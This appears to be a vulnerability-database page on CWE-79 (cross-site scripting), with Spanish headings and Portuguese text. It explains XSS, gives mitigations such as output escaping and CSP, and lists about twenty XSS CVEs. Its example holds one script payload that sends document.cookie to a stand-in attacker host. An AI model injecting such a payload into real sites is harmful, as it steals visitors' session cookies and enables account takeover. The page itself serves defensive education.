Fallos del tipo CWE-79

29.112 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-21504MEDIUMVersions of the package livewire/livewire from 3.3.5 and before 3.4.9 are vulnerable to Cross-site Scripting (XSS) when a page uses [Url] foEPSS 0.5%CVE-2021-4296LOWw3c Unicorn ValidatorNuMessage.java ValidatorNuMessage cross site scriptingEPSS 0.5%CVE-2024-57601MEDIUMCross Site Scripting vulnerability in Alex Tselegidis EasyAppointments v.1.5.0 allows a remote attacker to execute arbitrary code via the leEPSS 0.5%CVE-2024-54795MEDIUMSpagoBI v3.5.1 contains multiple Stored Cross-Site Scripting (XSS) vulnerabilities in the create/edit forms of the worksheet designer functiEPSS 0.5%CVE-2023-2584MEDIUMPixelYourSite <= 9.3.6 and PixelYourSite Pro <= 9.6.1 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2021-36398MEDIUMIn moodle, ID numbers displayed in the web service token list required additional sanitizing to prevent a stored XSS risk.EPSS 0.5%CVE-2018-25119MEDIUMNagios Fusion < 4.1.5 XSS via fusionwindow ParameterEPSS 0.5%CVE-2024-40626HIGHStored Cross-site Scripting (XSS) vulnerability in Outline editorEPSS 0.5%CVE-2022-3420MEDIUMOfficial Integration for Billingo < 3.4.0 - ShopManager+ Stored XSSEPSS 0.5%CVE-2024-53999HIGHMobile Security Framework (MobSF) Stored Cross-Site Scripting Vulnerability in "Diff or Compare" FunctionalityEPSS 0.5%CVE-2024-1922LOWSourceCodester Online Job Portal Manage Job Page ManageJob.php cross site scriptingEPSS 0.5%CVE-2024-5385MEDIUMoretnom23 Online Car Wash Booking System cross site scriptingEPSS 0.5%CVE-2024-2124MEDIUMTranslate WordPress and go Multilingual – Weglot <= 4.2.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block AttributesEPSS 0.5%CVE-2023-5362MEDIUMCarousel, Recent Post Slider and Banner Slider <= 2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2022-44012MEDIUMAn issue was discovered in /DS/LM_API/api/SelectionService/InsertQueryWithActiveRelationsReturnId in Simmeth Lieferantenmanager before 5.6. EPSS 0.5%CVE-2022-40840MEDIUMndk design NdkAdvancedCustomizationFields 3.5.0 is vulnerable to Cross Site Scripting (XSS) via createPdf.php.EPSS 0.5%CVE-2024-3125LOWZebra ZTC GK420d Alert Setup Page settings cross site scriptingEPSS 0.5%CVE-2024-8411MEDIUMABCD ABCD2 buscar_integrada.php cross site scriptingEPSS 0.5%CVE-2024-7225MEDIUMSourceCodester Insurance Management System Edit Insurance Policy Page update_policy cross site scriptingEPSS 0.5%CVE-2026-28315MEDIUMSolarWinds Serv-U Authenticated Stored Cross-site Scripting (XSS) VulnerabilityEPSS 0.5%